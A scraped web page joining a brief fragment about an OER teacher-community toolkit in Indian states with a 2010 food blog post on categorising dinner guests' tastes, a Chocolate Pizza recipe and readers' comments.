A survey to study the actual use of OER by the PLC teachers was conducted. The study revealed that teachers use a variety of digital methods to create OER and use it in their teaching. They also access available OER and adapt it for their requirements.

Component 3 - Up-scaling the OER model

IT for Change worked with the Assam, Andhra Pradesh and Telangana departments of school education, to help them design and conduct workshops to develop professional learning communities of teachers.

Based on these experiences of up-scaling the PLC-OER model to these states, a tool-kit has been developed and published. The toolkit is aimed at senior education officials to help them consider and plan for a similar program, adapting it to local context, needs and priorities. It is also for teacher educators and teachers, to support them to participate in the design and implementation of similar programs. Curriculum experts can use the toolkit for exploring digitally enabled participatory approaches to curriculum design and material development. Researchers can study the implementation of the tool-kit and provide evidenced-based inputs for improvement.

The tool-kit can be accessed here

Focus Areas
What We Do
Resource Type
ROER4D Phase 2


text:
Sunday, October 31, 2010

categories and cravings

I often find myself categorizing my dinner guests according to their food and drink preferences.  After someone has sat at my table a few times, I will usually know which categories they fall into.

For instance, I will know if you like red or white wine and whether or not you are a beer drinker and if so, do you prefer a lager or a pale ale?  In our house, there are two categories of beer: Corona and brown shi#*.  Can you tell which one I like?

I will know whether you are a boring traditional meat and potatoes sort or if you have an adventurous palate and are up to trying different ethnic foods.  And if so, what level of heat do you like/can you stand?  I have three categories: Wimp, Middle of the Road and Masochistic.  So tell me, are you hot or not?

Do you like seafood?  If not, I will usually make you try a fresh Sockeye Salmon dish, at least once, because this fish has been known to convert more than a few non-believers.  In my opinion, it is the least fishy of fish.  GWH likes to push the raw oysters on our guests because he simply cannot understand how anyone could not like these little morsels of oceanic ambrosia.  I have discovered that under the right circumstances, i.e. lots and lots of champagne, that they are actually pretty good; the taste is reminiscent of a light ocean breeze.  Did I mention that he insists that you chew them?  Eww, right?!

Do you have a sweet tooth?  There are some people that you can count on to have dessert. Every. Single. Time.  You barely have the question out of your mouth and they are nodding their heads in agreement, fork in hand and a gleam in their eye because they know that their craving for sweet will soon be satisfied.

And speaking of cravings, how do you feel about chocolate?  Are you passionate about it?  Do you crave it?  Do you hide it in the freezer?  And if so, do you prefer milk, dark or white?  This week's theme at  I Heart Cooking Clubs is Chocolate Cravings and I chose to make Chocolate Pizza from Giada's Family Dinners cookbook.  As you will notice, in this recipe there are three different flavours of chocolate to satisfy each category of chocolate lover.  Although, because all the chocolates are melted together, this really will not work for those in the "all foods must be kept separate and cannot touch" category.

Chocolate Pizza

1 pound homemade pizza dough, recipe follows, or purchased pizza dough
2 teaspoons butter, melted
1/4 cup chocolate-hazelnut spread (recommended: Nutella)
1/2 cup semisweet chocolate chips
2 tablespoons milk chocolate chips
2 tablespoons white chocolate chips
2 tablespoons chopped hazelnuts, toasted
Position the oven rack on the bottom of the oven and preheat to 450 degrees F.

Line a heavy large baking sheet with parchment paper. Roll out the dough to a 9-inch-diameter round. Transfer the dough to the prepared baking sheet. Using your fingers, make indentations all over the dough. Brush the dough with butter, then bake until the crust is crisp and pale golden brown, about 20 minutes. Immediately spread the chocolate-hazelnut spread over the pizza then sprinkle all the chocolate chips over. Bake just until the chocolate begins to melt, about 1 minute. Sprinkle the hazelnuts over the pizza. Cut into wedges and serve.

Pizza Dough:

1/2 cup warm water (105 to 110 degrees F)
2 teaspoons active dry yeast
2 cups all-purpose flour, plus more for kneading
1 teaspoon salt
3 tablespoons olive oil, plus more for bowl

Mix the warm water and yeast in a small bowl to blend. Let stand until the yeast dissolves, about 5 minutes. Mix the flour and salt in a food processor to blend. Blend in the oil. With the machine running, add the yeast mixture and blend just until the dough forms. Turn the dough out onto lightly floured surface and knead until smooth, about 1 minute. Transfer the dough to a large oiled bowl and turn the dough to coat with the oil. Cover the bowl with plastic wrap and set aside in a warm draft-free area until the dough doubles in volume, about 1 hour. Punch the down dough and form into ball. The dough can be used immediately or stored airtight in the refrigerator for 1 day.

  1. I used Pilsbury pizza dough.
  2. I sprinkled a little brown sugar on the outer edge of the pizza crust.
  3. I added dried cranberries and used pecans instead of hazelnuts.
  4. Next time I would reduce the cooking time for the crust as I found it took a little longer than one minute to melt the chocolate and the crust was a little too hard.
I have linked this post to the following sites.

    cookbook sundays

    1. I'm one of those who has dessert every single time. Yes, I'm nodding my head before you even finish asking me. That's me! :o) I can't believe I have this cookbook and don't remember this dessert. How can that be!? I've never tried a dessert pizza before but they always sound so good. And of course anything with nutella has to be good. Thank you so much for sharing this at Cookbook Sundays. I hope you'll join us again!

    2. OMG - that looks just so ridiculously good - I would without a doubt be saying yes to it. The thing that I really like about this is that combining white, milk and dark chocolate means that they all cancel each other out and there are therefore absolutely no calories in this - positively genius!! :-)

      And, just so you know, when you invite me to dinner - I will happily drink red or white wine, beer absolutely must be Corona, I love ethnic food, I register Middle of the Road on the heat scale, and although I'll happily drink as much champagne as you care to ply me with, it won't be necessary to get me to eat the oysters - bring them on!

      Sue :-)

    3. Hmmm...I think I'd fit in well in ANY category!! Although I do prefer brown shi* to Corona ;) This sounds pretty decadent, I'd love to try it!

    4. OK, Yum! This looks delicious--how can you go wrong with all of that chocolate and Nutella?! Great pick for IHCC and for Food n Flix--way to multi-task! ;-)

    5. You did a great job of multitasking on this post (and all such great foodie clubs too)!! I have to say that I adore milk chocolate the most, but I LOVE chocolate in every form and this pizza look AMAZING!!

      Like girlichef, I would fit well into any category as far as eating and drinking go, although I have to say that I've never had oysters before (but I would totally eat them).Fun post!!

    6. Brenda - My MIL is always a yes as well and if it involves chocolate, so am I.

      Sue - You would absolutely be welcome for dinner and fit right in as I am a red wine, Corona girl who loves ethnic foods and sits right smack dab in the Middle of the Road as well. As for the oysters, GWH would be happy to share them with you.

      Girlichef - I can't believe that you prefer the brown sh#* to the Corona knowing that you love all things Mexican!

      Deb - You're right Nutella rocks! I have never had it before making this pizza.

      Kim - GWH would love to have another victim, I mean taker on the oysters.

    7. Love the chocolate pizza! I must make this for my son, he'd love it.
      For your questions:
      I am an adventurous eater, masochistic, and will down raw oysters but not chew them. And I will drink you under the table. ;-)

    8. Natashya - You would certainly be welcome at my table or under my table!

    Related Posts with Thumbnails